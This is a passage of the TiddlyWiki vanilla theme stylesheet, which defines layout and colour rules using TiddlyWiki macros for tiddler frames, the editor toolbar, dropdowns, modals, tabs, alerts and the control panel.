{{$:/themes/tiddlywiki/vanilla/metrics/storyright}};\n\t\tbottom: 0;\n\t\tright: 0;\n\t\toverflow-y: auto;\n\t\toverflow-x: auto;\n\t\t-webkit-overflow-scrolling: touch;\n\t\tmargin: 0 0 0 -42px;\n\t\tpadding: 71px 0 28px 42px;\n\t}\n\n\thtml[dir=\"rtl\"] .tc-sidebar-scrollable {\n\t\tleft: auto;\n\t\tright: {{$:/themes/tiddlywiki/vanilla/metrics/storyright}};\n\t}\n\n\t.tc-story-river {\n\t\tposition: relative;\n\t\tleft: {{$:/themes/tiddlywiki/vanilla/metrics/storyleft}};\n\t\ttop: {{$:/themes/tiddlywiki/vanilla/metrics/storytop}};\n\t\twidth: {{$:/themes/tiddlywiki/vanilla/metrics/storywidth}};\n\t\tpadding: 42px 42px 42px 42px;\n\t}\n\n<<if-no-sidebar \"\n\n\t.tc-story-river {\n\t\twidth: calc(100% - {{$:/themes/tiddlywiki/vanilla/metrics/storyleft}});\n\t}\n\n\">>\n\n}\n\n@media print {\n\n\tbody.tc-body {\n\t\tbackground-color: transparent;\n\t}\n\n\t.tc-sidebar-header, .tc-topbar {\n\t\tdisplay: none;\n\t}\n\n\t.tc-story-river {\n\t\tmargin: 0;\n\t\tpadding: 0;\n\t}\n\n\t.tc-story-river .tc-tiddler-frame {\n\t\tmargin: 0;\n\t\tborder: none;\n\t\tpadding: 0;\n\t}\n}\n\n/*\n** Tiddler styles\n*/\n\n.tc-tiddler-frame {\n\tposition: relative;\n\tmargin-bottom: 28px;\n\tbackground-color: <<colour tiddler-background>>;\n\tborder: 1px solid <<colour tiddler-border>>;\n}\n\n{{$:/themes/tiddlywiki/vanilla/sticky}}\n\n.tc-tiddler-info {\n\tpadding: 14px 42px 14px 42px;\n\tbackground-color: <<colour tiddler-info-background>>;\n\tborder-top: 1px solid <<colour tiddler-info-border>>;\n\tborder-bottom: 1px solid <<colour tiddler-info-border>>;\n}\n\n.tc-tiddler-info p {\n\tmargin-top: 3px;\n\tmargin-bottom: 3px;\n}\n\n.tc-tiddler-info .tc-tab-buttons button.tc-tab-selected {\n\tbackground-color: <<colour tiddler-info-tab-background>>;\n\tborder-bottom: 1px solid <<colour tiddler-info-tab-background>>;\n}\n\n.tc-view-field-table {\n\twidth: 100%;\n}\n\n.tc-view-field-name {\n\twidth: 1%; /* Makes this column be as narrow as possible */\n\ttext-align: right;\n\tfont-style: italic;\n\tfont-weight: 200;\n}\n\n.tc-view-field-value {\n}\n\n@media (max-width: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint}}) {\n\t.tc-tiddler-frame {\n\t\tpadding: 14px 14px 14px 14px;\n\t}\n\n\t.tc-tiddler-info {\n\t\tmargin: 0 -14px 0 -14px;\n\t}\n}\n\n@media (min-width: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint}}) {\n\t.tc-tiddler-frame {\n\t\tpadding: 28px 42px 42px 42px;\n\t\twidth: {{$:/themes/tiddlywiki/vanilla/metrics/tiddlerwidth}};\n\t\tborder-radius: 2px;\n\t}\n\n<<if-no-sidebar \"\n\n\t.tc-tiddler-frame {\n\t\twidth: 100%;\n\t}\n\n\">>\n\n\t.tc-tiddler-info {\n\t\tmargin: 0 -42px 0 -42px;\n\t}\n}\n\n.tc-site-title,\n.tc-titlebar {\n\tfont-weight: 300;\n\tfont-size: 2.35em;\n\tline-height: 1.2em;\n\tcolor: <<colour tiddler-title-foreground>>;\n\tmargin: 0;\n}\n\n.tc-site-title {\n\tcolor: <<colour site-title-foreground>>;\n}\n\n.tc-tiddler-title-icon {\n\tvertical-align: middle;\n}\n\n.tc-system-title-prefix {\n\tcolor: <<colour muted-foreground>>;\n}\n\n.tc-titlebar h2 {\n\tfont-size: 1em;\n\tdisplay: inline;\n}\n\n.tc-titlebar img {\n\theight: 1em;\n}\n\n.tc-subtitle {\n\tfont-size: 0.9em;\n\tcolor: <<colour tiddler-subtitle-foreground>>;\n\tfont-weight: 300;\n}\n\n.tc-tiddler-missing .tc-title {\n  font-style: italic;\n  font-weight: normal;\n}\n\n.tc-tiddler-frame .tc-tiddler-controls {\n\tfloat: right;\n}\n\n.tc-tiddler-controls .tc-drop-down {\n\tfont-size: 0.6em;\n}\n\n.tc-tiddler-controls .tc-drop-down .tc-drop-down {\n\tfont-size: 1em;\n}\n\n.tc-tiddler-controls > span > button,\n.tc-tiddler-controls > span > span > button,\n.tc-tiddler-controls > span > span > span > button {\n\tvertical-align: baseline;\n\tmargin-left:5px;\n}\n\n.tc-tiddler-controls button svg, .tc-tiddler-controls button img,\n.tc-search button svg, .tc-search a svg {\n\tfill: <<colour tiddler-controls-foreground>>;\n}\n\n.tc-tiddler-controls button svg, .tc-tiddler-controls button img {\n\theight: 0.75em;\n}\n\n.tc-search button svg, .tc-search a svg {\n    height: 1.2em;\n    width: 1.2em;\n    margin: 0 0.25em;\n}\n\n.tc-tiddler-controls button.tc-selected svg,\n.tc-page-controls button.tc-selected svg  {\n\tfill: <<colour tiddler-controls-foreground-selected>>;\n}\n\n.tc-tiddler-controls button.tc-btn-invisible:hover svg,\n.tc-search button:hover svg, .tc-search a:hover svg {\n\tfill: <<colour tiddler-controls-foreground-hover>>;\n}\n\n@media print {\n\t.tc-tiddler-controls {\n\t\tdisplay: none;\n\t}\n}\n\n.tc-tiddler-help { /* Help prompts within tiddler template */\n\tcolor: <<colour muted-foreground>>;\n\tmargin-top: 14px;\n}\n\n.tc-tiddler-help a.tc-tiddlylink {\n\tcolor: <<colour very-muted-foreground>>;\n}\n\n.tc-tiddler-frame .tc-edit-texteditor {\n\twidth: 100%;\n\tmargin: 4px 0 4px 0;\n}\n\n.tc-tiddler-frame input.tc-edit-texteditor,\n.tc-tiddler-frame textarea.tc-edit-texteditor,\n.tc-tiddler-frame iframe.tc-edit-texteditor {\n\tpadding: 3px 3px 3px 3px;\n\tborder: 1px solid <<colour tiddler-editor-border>>;\n\tbackground-color: <<colour tiddler-editor-background>>;\n\tline-height: 1.3em;\n\t-webkit-appearance: none;\n\tfont-family: {{$:/themes/tiddlywiki/vanilla/settings/editorfontfamily}};\n}\n\n.tc-tiddler-frame .tc-binary-warning {\n\twidth: 100%;\n\theight: 5em;\n\ttext-align: center;\n\tpadding: 3em 3em 6em 3em;\n\tbackground: <<colour alert-background>>;\n\tborder: 1px solid <<colour alert-border>>;\n}\n\ncanvas.tc-edit-bitmapeditor  {\n\tborder: 6px solid <<colour tiddler-editor-border-image>>;\n\tcursor: crosshair;\n\t-moz-user-select: none;\n\t-webkit-user-select: none;\n\t-ms-user-select: none;\n\tmargin-top: 6px;\n\tmargin-bottom: 6px;\n}\n\n.tc-edit-bitmapeditor-width {\n\tdisplay: block;\n}\n\n.tc-edit-bitmapeditor-height {\n\tdisplay: block;\n}\n\n.tc-tiddler-body {\n\tclear: both;\n}\n\n.tc-tiddler-frame .tc-tiddler-body {\n\tfont-size: {{$:/themes/tiddlywiki/vanilla/metrics/bodyfontsize}};\n\tline-height: {{$:/themes/tiddlywiki/vanilla/metrics/bodylineheight}};\n}\n\n.tc-titlebar, .tc-tiddler-edit-title {\n\toverflow: hidden; /* https://github.com/Jermolene/TiddlyWiki5/issues/282 */\n}\n\nhtml body.tc-body.tc-single-tiddler-window {\n\tmargin: 1em;\n\tbackground: <<colour tiddler-background>>;\n}\n\n.tc-single-tiddler-window img,\n.tc-single-tiddler-window svg,\n.tc-single-tiddler-window canvas,\n.tc-single-tiddler-window embed,\n.tc-single-tiddler-window iframe {\n\tmax-width: 100%;\n}\n\n/*\n** Editor\n*/\n\n.tc-editor-toolbar {\n\tmargin-top: 8px;\n}\n\n.tc-editor-toolbar button {\n\tvertical-align: middle;\n\tbackground-color: <<colour tiddler-controls-foreground>>;\n\tfill: <<colour tiddler-controls-foreground-selected>>;\n\tborder-radius: 4px;\n\tpadding: 3px;\n\tmargin: 2px 0 2px 4px;\n}\n\n.tc-editor-toolbar button.tc-text-editor-toolbar-item-adjunct {\n\tmargin-left: 1px;\n\twidth: 1em;\n\tborder-radius: 8px;\n}\n\n.tc-editor-toolbar button.tc-text-editor-toolbar-item-start-group {\n\tmargin-left: 11px;\n}\n\n.tc-editor-toolbar button.tc-selected {\n\tbackground-color: <<colour primary>>;\n}\n\n.tc-editor-toolbar button svg {\n\twidth: 1.6em;\n\theight: 1.2em;\n}\n\n.tc-editor-toolbar button:hover {\n\tbackground-color: <<colour tiddler-controls-foreground-selected>>;\n\tfill: <<colour background>>;\n\tcolor: <<colour background>>;\n}\n\n.tc-editor-toolbar .tc-text-editor-toolbar-more {\n\twhite-space: normal;\n}\n\n.tc-editor-toolbar .tc-text-editor-toolbar-more button {\n\tdisplay: inline-block;\n\tpadding: 3px;\n\twidth: auto;\n}\n\n.tc-editor-toolbar .tc-search-results {\n\tpadding: 0;\n}\n\n/*\n** Adjustments for fluid-fixed mode\n*/\n\n@media (min-width: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint}}) {\n\n<<if-fluid-fixed text:\"\"\"\n\n\t.tc-story-river {\n\t\tpadding-right: 0;\n\t\tposition: relative;\n\t\twidth: auto;\n\t\tleft: 0;\n\t\tmargin-left: {{$:/themes/tiddlywiki/vanilla/metrics/storyleft}};\n\t\tmargin-right: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarwidth}};\n\t}\n\n\t.tc-tiddler-frame {\n\t\twidth: 100%;\n\t}\n\n\t.tc-sidebar-scrollable {\n\t\tleft: auto;\n\t\tbottom: 0;\n\t\tright: 0;\n\t\twidth: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarwidth}};\n\t}\n\n\tbody.tc-body .tc-storyview-zoomin-tiddler {\n\t\twidth: 100%;\n\t\twidth: calc(100% - 42px);\n\t}\n\n\"\"\" hiddenSidebarText:\"\"\"\n\n\t.tc-story-river {\n\t\tpadding-right: 3em;\n\t\tmargin-right: 0;\n\t}\n\n\tbody.tc-body .tc-storyview-zoomin-tiddler {\n\t\twidth: 100%;\n\t\twidth: calc(100% - 84px);\n\t}\n\n\"\"\">>\n\n}\n\n/*\n** Toolbar buttons\n*/\n\n.tc-page-controls svg.tc-image-new-button {\n  fill: <<colour toolbar-new-button>>;\n}\n\n.tc-page-controls svg.tc-image-options-button {\n  fill: <<colour toolbar-options-button>>;\n}\n\n.tc-page-controls svg.tc-image-save-button {\n  fill: <<colour toolbar-save-button>>;\n}\n\n.tc-tiddler-controls button svg.tc-image-info-button {\n  fill: <<colour toolbar-info-button>>;\n}\n\n.tc-tiddler-controls button svg.tc-image-edit-button {\n  fill: <<colour toolbar-edit-button>>;\n}\n\n.tc-tiddler-controls button svg.tc-image-close-button {\n  fill: <<colour toolbar-close-button>>;\n}\n\n.tc-tiddler-controls button svg.tc-image-delete-button {\n  fill: <<colour toolbar-delete-button>>;\n}\n\n.tc-tiddler-controls button svg.tc-image-cancel-button {\n  fill: <<colour toolbar-cancel-button>>;\n}\n\n.tc-tiddler-controls button svg.tc-image-done-button {\n  fill: <<colour toolbar-done-button>>;\n}\n\n/*\n** Tiddler edit mode\n*/\n\n.tc-tiddler-edit-frame em.tc-edit {\n\tcolor: <<colour muted-foreground>>;\n\tfont-style: normal;\n}\n\n.tc-edit-type-dropdown a.tc-tiddlylink-missing {\n\tfont-style: normal;\n}\n\n.tc-edit-tags {\n\tborder: 1px solid <<colour tiddler-editor-border>>;\n\tpadding: 4px 8px 4px 8px;\n}\n\n.tc-edit-add-tag {\n\tdisplay: inline-block;\n}\n\n.tc-edit-add-tag .tc-add-tag-name input {\n\twidth: 50%;\n}\n\n.tc-edit-add-tag .tc-keyboard {\n\tdisplay:inline;\n}\n\n.tc-edit-tags .tc-tag-label {\n\tdisplay: inline-block;\n}\n\n.tc-edit-tags-list {\n\tmargin: 14px 0 14px 0;\n}\n\n.tc-remove-tag-button {\n\tpadding-left: 4px;\n}\n\n.tc-tiddler-preview {\n\toverflow: auto;\n}\n\n.tc-tiddler-preview-preview {\n\tfloat: right;\n\twidth: 49%;\n\tborder: 1px solid <<colour tiddler-editor-border>>;\n\tmargin: 4px 0 3px 3px;\n\tpadding: 3px 3px 3px 3px;\n}\n\n<<if-editor-height-fixed then:\"\"\"\n\n.tc-tiddler-preview-preview {\n\toverflow-y: scroll;\n\theight: {{$:/config/TextEditor/EditorHeight/Height}};\n}\n\n\"\"\">>\n\n.tc-tiddler-frame .tc-tiddler-preview .tc-edit-texteditor {\n\twidth: 49%;\n}\n\n.tc-tiddler-frame .tc-tiddler-preview canvas.tc-edit-bitmapeditor {\n\tmax-width: 49%;\n}\n\n.tc-edit-fields {\n\twidth: 100%;\n}\n\n\n.tc-edit-fields table, .tc-edit-fields tr, .tc-edit-fields td {\n\tborder: none;\n\tpadding: 4px;\n}\n\n.tc-edit-fields > tbody > .tc-edit-field:nth-child(odd) {\n\tbackground-color: <<colour tiddler-editor-fields-odd>>;\n}\n\n.tc-edit-fields > tbody > .tc-edit-field:nth-child(even) {\n\tbackground-color: <<colour tiddler-editor-fields-even>>;\n}\n\n.tc-edit-field-name {\n\ttext-align: right;\n}\n\n.tc-edit-field-value input {\n\twidth: 100%;\n}\n\n.tc-edit-field-remove {\n}\n\n.tc-edit-field-remove svg {\n\theight: 1em;\n\twidth: 1em;\n\tfill: <<colour muted-foreground>>;\n\tvertical-align: middle;\n}\n\n.tc-edit-field-add-name {\n\tdisplay: inline-block;\n\twidth: 15%;\n}\n\n.tc-edit-field-add-value {\n\tdisplay: inline-block;\n\twidth: 40%;\n}\n\n.tc-edit-field-add-button {\n\tdisplay: inline-block;\n\twidth: 10%;\n}\n\n/*\n** Storyview Classes\n*/\n\n.tc-storyview-zoomin-tiddler {\n\tposition: absolute;\n\tdisplay: block;\n\twidth: 100%;\n}\n\n@media (min-width: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint}}) {\n\n\t.tc-storyview-zoomin-tiddler {\n\t\twidth: calc(100% - 84px);\n\t}\n\n}\n\n/*\n** Dropdowns\n*/\n\n.tc-btn-dropdown {\n\ttext-align: left;\n}\n\n.tc-btn-dropdown svg, .tc-btn-dropdown img {\n\theight: 1em;\n\twidth: 1em;\n\tfill: <<colour muted-foreground>>;\n}\n\n.tc-drop-down-wrapper {\n\tposition: relative;\n}\n\n.tc-drop-down {\n\tmin-width: 380px;\n\tborder: 1px solid <<colour dropdown-border>>;\n\tbackground-color: <<colour dropdown-background>>;\n\tpadding: 7px 0 7px 0;\n\tmargin: 4px 0 0 0;\n\twhite-space: nowrap;\n\ttext-shadow: none;\n\tline-height: 1.4;\n}\n\n.tc-drop-down .tc-drop-down {\n\tmargin-left: 14px;\n}\n\n.tc-drop-down button svg, .tc-drop-down a svg  {\n\tfill: <<colour foreground>>;\n}\n\n.tc-drop-down button.tc-btn-invisible:hover svg {\n\tfill: <<colour foreground>>;\n}\n\n.tc-drop-down p {\n\tpadding: 0 14px 0 14px;\n}\n\n.tc-drop-down svg {\n\twidth: 1em;\n\theight: 1em;\n}\n\n.tc-drop-down img {\n\twidth: 1em;\n}\n\n.tc-drop-down a, .tc-drop-down button {\n\tdisplay: block;\n\tpadding: 0 14px 0 14px;\n\twidth: 100%;\n\ttext-align: left;\n\tcolor: <<colour foreground>>;\n\tline-height: 1.4;\n}\n\n.tc-drop-down .tc-tab-set .tc-tab-buttons button {\n\tdisplay: inline-block;\n    width: auto;\n    margin-bottom: 0px;\n    border-bottom-left-radius: 0;\n    border-bottom-right-radius: 0;\n}\n\n.tc-drop-down .tc-prompt {\n\tpadding: 0 14px;\n}\n\n.tc-drop-down .tc-chooser {\n\tborder: none;\n}\n\n.tc-drop-down .tc-chooser .tc-swatches-horiz {\n\tfont-size: 0.4em;\n\tpadding-left: 1.2em;\n}\n\n.tc-drop-down .tc-file-input-wrapper {\n\twidth: 100%;\n}\n\n.tc-drop-down .tc-file-input-wrapper button {\n\tcolor: <<colour foreground>>;\n}\n\n.tc-drop-down a:hover, .tc-drop-down button:hover, .tc-drop-down .tc-file-input-wrapper:hover button {\n\tcolor: <<colour tiddler-link-background>>;\n\tbackground-color: <<colour tiddler-link-foreground>>;\n\ttext-decoration: none;\n}\n\n.tc-drop-down .tc-tab-buttons button {\n\tbackground-color: <<colour dropdown-tab-background>>;\n}\n\n.tc-drop-down .tc-tab-buttons button.tc-tab-selected {\n\tbackground-color: <<colour dropdown-tab-background-selected>>;\n\tborder-bottom: 1px solid <<colour dropdown-tab-background-selected>>;\n}\n\n.tc-drop-down-bullet {\n\tdisplay: inline-block;\n\twidth: 0.5em;\n}\n\n.tc-drop-down .tc-tab-contents a {\n\tpadding: 0 0.5em 0 0.5em;\n}\n\n.tc-block-dropdown-wrapper {\n\tposition: relative;\n}\n\n.tc-block-dropdown {\n\tposition: absolute;\n\tmin-width: 220px;\n\tborder: 1px solid <<colour dropdown-border>>;\n\tbackground-color: <<colour dropdown-background>>;\n\tpadding: 7px 0;\n\tmargin: 4px 0 0 0;\n\twhite-space: nowrap;\n\tz-index: 1000;\n\ttext-shadow: none;\n}\n\n.tc-block-dropdown.tc-search-drop-down {\n\tmargin-left: -12px;\n}\n\n.tc-block-dropdown a {\n\tdisplay: block;\n\tpadding: 4px 14px 4px 14px;\n}\n\n.tc-block-dropdown.tc-search-drop-down a {\n\tdisplay: block;\n\tpadding: 0px 10px 0px 10px;\n}\n\n.tc-drop-down .tc-dropdown-item-plain,\n.tc-block-dropdown .tc-dropdown-item-plain {\n\tpadding: 4px 14px 4px 7px;\n}\n\n.tc-drop-down .tc-dropdown-item,\n.tc-block-dropdown .tc-dropdown-item {\n\tpadding: 4px 14px 4px 7px;\n\tcolor: <<colour muted-foreground>>;\n}\n\n.tc-block-dropdown a:hover {\n\tcolor: <<colour tiddler-link-background>>;\n\tbackground-color: <<colour tiddler-link-foreground>>;\n\ttext-decoration: none;\n}\n\n.tc-search-results {\n\tpadding: 0 7px 0 7px;\n}\n\n.tc-image-chooser, .tc-colour-chooser {\n\twhite-space: normal;\n}\n\n.tc-image-chooser a,\n.tc-colour-chooser a {\n\tdisplay: inline-block;\n\tvertical-align: top;\n\ttext-align: center;\n\tposition: relative;\n}\n\n.tc-image-chooser a {\n\tborder: 1px solid <<colour muted-foreground>>;\n\tpadding: 2px;\n\tmargin: 2px;\n\twidth: 4em;\n\theight: 4em;\n}\n\n.tc-colour-chooser a {\n\tpadding: 3px;\n\twidth: 2em;\n\theight: 2em;\n\tvertical-align: middle;\n}\n\n.tc-image-chooser a:hover,\n.tc-colour-chooser a:hover {\n\tbackground: <<colour primary>>;\n\tpadding: 0px;\n\tborder: 3px solid <<colour primary>>;\n}\n\n.tc-image-chooser a svg,\n.tc-image-chooser a img {\n\tdisplay: inline-block;\n\twidth: auto;\n\theight: auto;\n\tmax-width: 3.5em;\n\tmax-height: 3.5em;\n\tposition: absolute;\n\ttop: 0;\n\tbottom: 0;\n\tleft: 0;\n\tright: 0;\n\tmargin: auto;\n}\n\n/*\n** Modals\n*/\n\n.tc-modal-wrapper {\n\tposition: fixed;\n\toverflow: auto;\n\toverflow-y: scroll;\n\ttop: 0;\n\tright: 0;\n\tbottom: 0;\n\tleft: 0;\n\tz-index: 900;\n}\n\n.tc-modal-backdrop {\n\tposition: fixed;\n\ttop: 0;\n\tright: 0;\n\tbottom: 0;\n\tleft: 0;\n\tz-index: 1000;\n\tbackground-color: <<colour modal-backdrop>>;\n}\n\n.tc-modal {\n\tz-index: 1100;\n\tbackground-color: <<colour modal-background>>;\n\tborder: 1px solid <<colour modal-border>>;\n}\n\n@media (max-width: 55em) {\n\t.tc-modal {\n\t\tposition: fixed;\n\t\ttop: 1em;\n\t\tleft: 1em;\n\t\tright: 1em;\n\t}\n\n\t.tc-modal-body {\n\t\toverflow-y: auto;\n\t\tmax-height: 400px;\n\t\tmax-height: 60vh;\n\t}\n}\n\n@media (min-width: 55em) {\n\t.tc-modal {\n\t\tposition: fixed;\n\t\ttop: 2em;\n\t\tleft: 25%;\n\t\twidth: 50%;\n\t}\n\n\t.tc-modal-body {\n\t\toverflow-y: auto;\n\t\tmax-height: 400px;\n\t\tmax-height: 60vh;\n\t}\n}\n\n.tc-modal-header {\n\tpadding: 9px 15px;\n\tborder-bottom: 1px solid <<colour modal-header-border>>;\n}\n\n.tc-modal-header h3 {\n\tmargin: 0;\n\tline-height: 30px;\n}\n\n.tc-modal-header img, .tc-modal-header svg {\n\twidth: 1em;\n\theight: 1em;\n}\n\n.tc-modal-body {\n\tpadding: 15px;\n}\n\n.tc-modal-footer {\n\tpadding: 14px 15px 15px;\n\tmargin-bottom: 0;\n\ttext-align: right;\n\tbackground-color: <<colour modal-footer-background>>;\n\tborder-top: 1px solid <<colour modal-footer-border>>;\n}\n\n/*\n** Notifications\n*/\n\n.tc-notification {\n\tposition: fixed;\n\ttop: 14px;\n\tright: 42px;\n\tz-index: 1300;\n\tmax-width: 280px;\n\tpadding: 0 14px 0 14px;\n\tbackground-color: <<colour notification-background>>;\n\tborder: 1px solid <<colour notification-border>>;\n}\n\n/*\n** Tabs\n*/\n\n.tc-tab-set.tc-vertical {\n\tdisplay: -webkit-flex;\n\tdisplay: flex;\n}\n\n.tc-tab-buttons {\n\tfont-size: 0.85em;\n\tpadding-top: 1em;\n\tmargin-bottom: -2px;\n}\n\n.tc-tab-buttons.tc-vertical  {\n\tz-index: 100;\n\tdisplay: block;\n\tpadding-top: 14px;\n\tvertical-align: top;\n\ttext-align: right;\n\tmargin-bottom: inherit;\n\tmargin-right: -1px;\n\tmax-width: 33%;\n\t-webkit-flex: 0 0 auto;\n\tflex: 0 0 auto;\n}\n\n.tc-tab-buttons button.tc-tab-selected {\n\tcolor: <<colour tab-foreground-selected>>;\n\tbackground-color: <<colour tab-background-selected>>;\n\tborder-left: 1px solid <<colour tab-border-selected>>;\n\tborder-top: 1px solid <<colour tab-border-selected>>;\n\tborder-right: 1px solid <<colour tab-border-selected>>;\n}\n\n.tc-tab-buttons button {\n\tcolor: <<colour tab-foreground>>;\n\tpadding: 3px 5px 3px 5px;\n\tmargin-right: 0.3em;\n\tfont-weight: 300;\n\tborder: none;\n\tbackground: inherit;\n\tbackground-color: <<colour tab-background>>;\n\tborder-left: 1px solid <<colour tab-border>>;\n\tborder-top: 1px solid <<colour tab-border>>;\n\tborder-right: 1px solid <<colour tab-border>>;\n\tborder-top-left-radius: 2px;\n\tborder-top-right-radius: 2px;\n\tborder-bottom-left-radius: 0;\n\tborder-bottom-right-radius: 0;\n}\n\n.tc-tab-buttons.tc-vertical button {\n\tdisplay: block;\n\twidth: 100%;\n\tmargin-top: 3px;\n\tmargin-right: 0;\n\ttext-align: right;\n\tbackground-color: <<colour tab-background>>;\n\tborder-left: 1px solid <<colour tab-border>>;\n\tborder-bottom: 1px solid <<colour tab-border>>;\n\tborder-right: none;\n\tborder-top-left-radius: 2px;\n\tborder-bottom-left-radius: 2px;\n\tborder-top-right-radius: 0;\n\tborder-bottom-right-radius: 0;\n}\n\n.tc-tab-buttons.tc-vertical button.tc-tab-selected {\n\tbackground-color: <<colour tab-background-selected>>;\n\tborder-right: 1px solid <<colour tab-background-selected>>;\n}\n\n.tc-tab-divider {\n\tborder-top: 1px solid <<colour tab-divider>>;\n}\n\n.tc-tab-divider.tc-vertical  {\n\tdisplay: none;\n}\n\n.tc-tab-content {\n\tmargin-top: 14px;\n}\n\n.tc-tab-content.tc-vertical  {\n    word-break: break-word;\n\tdisplay: inline-block;\n\tvertical-align: top;\n\tpadding-top: 0;\n\tpadding-left: 14px;\n\tborder-left: 1px solid <<colour tab-border>>;\n\t-webkit-flex: 1 0 70%;\n\tflex: 1 0 70%;\n}\n\n.tc-sidebar-lists .tc-tab-buttons {\n\tmargin-bottom: -1px;\n}\n\n.tc-sidebar-lists .tc-tab-buttons button.tc-tab-selected {\n\tbackground-color: <<colour sidebar-tab-background-selected>>;\n\tcolor: <<colour sidebar-tab-foreground-selected>>;\n\tborder-left: 1px solid <<colour sidebar-tab-border-selected>>;\n\tborder-top: 1px solid <<colour sidebar-tab-border-selected>>;\n\tborder-right: 1px solid <<colour sidebar-tab-border-selected>>;\n}\n\n.tc-sidebar-lists .tc-tab-buttons button {\n\tbackground-color: <<colour sidebar-tab-background>>;\n\tcolor: <<colour sidebar-tab-foreground>>;\n\tborder-left: 1px solid <<colour sidebar-tab-border>>;\n\tborder-top: 1px solid <<colour sidebar-tab-border>>;\n\tborder-right: 1px solid <<colour sidebar-tab-border>>;\n}\n\n.tc-sidebar-lists .tc-tab-divider {\n\tborder-top: 1px solid <<colour sidebar-tab-divider>>;\n}\n\n.tc-more-sidebar > .tc-tab-set > .tc-tab-buttons > button {\n\tdisplay: block;\n\twidth: 100%;\n\tbackground-color: <<colour sidebar-tab-background>>;\n\tborder-top: none;\n\tborder-left: none;\n\tborder-bottom: none;\n\tborder-right: 1px solid #ccc;\n\tmargin-bottom: inherit;\n}\n\n.tc-more-sidebar > .tc-tab-set > .tc-tab-buttons > button.tc-tab-selected {\n\tbackground-color: <<colour sidebar-tab-background-selected>>;\n\tborder: none;\n}\n\n/*\n** Manager\n*/\n\n.tc-manager-wrapper {\n\t\n}\n\n.tc-manager-controls {\n\t\n}\n\n.tc-manager-control {\n\tmargin: 0.5em 0;\n}\n\n.tc-manager-list {\n\twidth: 100%;\n\tborder-top: 1px solid <<colour muted-foreground>>;\n\tborder-left: 1px solid <<colour muted-foreground>>;\n\tborder-right: 1px solid <<colour muted-foreground>>;\n}\n\n.tc-manager-list-item {\n\n}\n\n.tc-manager-list-item-heading {\n    display: block;\n    width: 100%;\n    text-align: left;\t\n\tborder-bottom: 1px solid <<colour muted-foreground>>;\n\tpadding: 3px;\n}\n\n.tc-manager-list-item-heading-selected {\n\tfont-weight: bold;\n\tcolor: <<colour background>>;\n\tfill: <<colour background>>;\n\tbackground-color: <<colour foreground>>;\n}\n\n.tc-manager-list-item-heading:hover {\n\tbackground: <<colour primary>>;\n\tcolor: <<colour background>>;\n}\n\n.tc-manager-list-item-content {\n\tdisplay: flex;\n}\n\n.tc-manager-list-item-content-sidebar {\n    flex: 1 0;\n    background: <<colour tiddler-editor-background>>;\n    border-right: 0.5em solid <<colour muted-foreground>>;\n    border-bottom: 0.5em solid <<colour muted-foreground>>;\n    white-space: nowrap;\n}\n\n.tc-manager-list-item-content-item-heading {\n\tdisplay: block;\n\twidth: 100%;\n\ttext-align: left;\n    background: <<colour muted-foreground>>;\n\ttext-transform: uppercase;\n\tfont-size: 0.6em;\n\tfont-weight: bold;\n    padding: 0.5em 0 0.5em 0;\n}\n\n.tc-manager-list-item-content-item-body {\n\tpadding: 0 0.5em 0 0.5em;\n}\n\n.tc-manager-list-item-content-item-body > pre {\n\tmargin: 0.5em 0 0.5em 0;\n\tborder: none;\n\tbackground: inherit;\n}\n\n.tc-manager-list-item-content-tiddler {\n    flex: 3 1;\n    border-left: 0.5em solid <<colour muted-foreground>>;\n    border-right: 0.5em solid <<colour muted-foreground>>;\n    border-bottom: 0.5em solid <<colour muted-foreground>>;\n}\n\n.tc-manager-list-item-content-item-body > table {\n\tborder: none;\n\tpadding: 0;\n\tmargin: 0;\n}\n\n.tc-manager-list-item-content-item-body > table td {\n\tborder: none;\n}\n\n.tc-manager-icon-editor > button {\n\twidth: 100%;\n}\n\n.tc-manager-icon-editor > button > svg,\n.tc-manager-icon-editor > button > button {\n\twidth: 100%;\n\theight: auto;\n}\n\n/*\n** Alerts\n*/\n\n.tc-alerts {\n\tposition: fixed;\n\ttop: 0;\n\tleft: 0;\n\tmax-width: 500px;\n\tz-index: 20000;\n}\n\n.tc-alert {\n\tposition: relative;\n\tmargin: 28px;\n\tpadding: 14px 14px 14px 14px;\n\tborder: 2px solid <<colour alert-border>>;\n\tbackground-color: <<colour alert-background>>;\n}\n\n.tc-alert-toolbar {\n\tposition: absolute;\n\ttop: 14px;\n\tright: 14px;\n}\n\n.tc-alert-toolbar svg {\n\tfill: <<colour alert-muted-foreground>>;\n}\n\n.tc-alert-subtitle {\n\tcolor: <<colour alert-muted-foreground>>;\n\tfont-weight: bold;\n}\n\n.tc-alert-highlight {\n\tcolor: <<colour alert-highlight>>;\n}\n\n@media (min-width: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint}}) {\n\n\t.tc-static-alert {\n\t\tposition: relative;\n\t}\n\n\t.tc-static-alert-inner {\n\t\tposition: absolute;\n\t\tz-index: 100;\n\t}\n\n}\n\n.tc-static-alert-inner {\n\tpadding: 0 2px 2px 42px;\n\tcolor: <<colour static-alert-foreground>>;\n}\n\n/*\n** Floating drafts list\n*/\n\n.tc-drafts-list {\n\tz-index: 2000;\n\tposition: fixed;\n\tfont-size: 0.8em;\n\tleft: 0;\n\tbottom: 0;\n}\n\n.tc-drafts-list a {\n\tmargin: 0 0.5em;\n\tpadding: 4px 4px;\n\tborder-top-left-radius: 4px;\n\tborder-top-right-radius: 4px;\n\tborder: 1px solid <<colour background>>;\n\tborder-bottom-none;\n\tbackground: <<colour dirty-indicator>>;\n\tcolor: <<colour background>>;\n\tfill: <<colour background>>;\n}\n\n.tc-drafts-list a:hover {\n\ttext-decoration: none;\n\tbackground: <<colour foreground>>;\n\tcolor: <<colour background>>;\n\tfill: <<colour background>>;\n}\n\n.tc-drafts-list a svg {\n\twidth: 1em;\n\theight: 1em;\n\tvertical-align: text-bottom;\n}\n\n/*\n** Control panel\n*/\n\n.tc-control-panel td {\n\tpadding: 4px;\n}\n\n.tc-control-panel table, .tc-control-panel table input, .tc-control-panel table textarea {\n\twidth: 100%;\n}\n\n.tc-plugin-info {\n\tdisplay: block;\n\tborder: 1px solid <<colour muted-foreground>>;\n\tbackground-colour: <<colour background>>;\n\tmargin: 0.5em 0 0.5em 0;\n\tpadding: 